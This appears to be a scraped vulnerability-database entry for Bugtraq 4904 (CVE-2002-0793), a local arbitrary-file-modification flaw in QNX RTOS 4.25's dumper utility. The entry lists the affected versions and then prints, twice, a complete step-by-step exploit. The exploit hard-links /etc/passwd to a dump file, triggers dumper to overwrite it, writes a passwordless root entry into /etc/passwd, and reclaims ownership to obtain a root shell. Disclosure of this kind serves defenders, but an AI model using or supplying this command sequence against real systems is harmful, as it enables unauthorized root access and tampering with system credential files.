QNX RTOS dumper Arbitrary File Modification Vulnerability
BID:4904
Info
QNX RTOS dumper Arbitrary File Modification Vulnerability
| Bugtraq ID: | 4904 |
| Class: | Access Validation Error |
| CVE: |
CVE-2002-0793 |
| Remote: | No |
| Local: | Yes |
| Published: | May 31 2002 12:00AM |
| Updated: | Jul 11 2009 01:56PM |
| Credit: | Credited to Simon Ouellette <[email protected]>. |
| Vulnerable: |
QNX RTOS 4.25 |
| Not Vulnerable: |
QNX RTOS 6.1 |
Exploit / POC
QNX RTOS dumper Arbitrary File Modification Vulnerability
The following demonstration was provided by: "Simon Ouellette" <[email protected]>
Example exploit, with /bin/dumper:
Let EVIL be the unprivileged user who wants to gain root access.
#link to the passwd file: dumper dumps to [process name].dmp
$ ln /etc/passwd /home/EVIL/ksh.dmp
#call the program that will attempt to write to the hard link
$ dumper -d /home/EVIL -p [PID of EVIL's ksh]
#have dumper do its job by terminating the monitored process
$ exit
#at this point, /etc/passwd is overwritten by the binary dump, and more
importantly: EVIL is now the owner !
$ echo root::0:0::///:/bin/sh > /etc/passwd
#but now no login works because /etc/passwd is not owned by userid 0. #So
you do:
$ passwd
#and change your password. This gives /etc/passwd ownership back to root,
keeping the modifications you have made.
$ su
#
The following demonstration was provided by: "Simon Ouellette" <[email protected]>
Example exploit, with /bin/dumper:
Let EVIL be the unprivileged user who wants to gain root access.
#link to the passwd file: dumper dumps to [process name].dmp
$ ln /etc/passwd /home/EVIL/ksh.dmp
#call the program that will attempt to write to the hard link
$ dumper -d /home/EVIL -p [PID of EVIL's ksh]
#have dumper do its job by terminating the monitored process
$ exit
#at this point, /etc/passwd is overwritten by the binary dump, and more
importantly: EVIL is now the owner !
$ echo root::0:0::///:/bin/sh > /etc/passwd
#but now no login works because /etc/passwd is not owned by userid 0. #So
you do:
$ passwd
#and change your password. This gives /etc/passwd ownership back to root,
keeping the modifications you have made.
$ su
#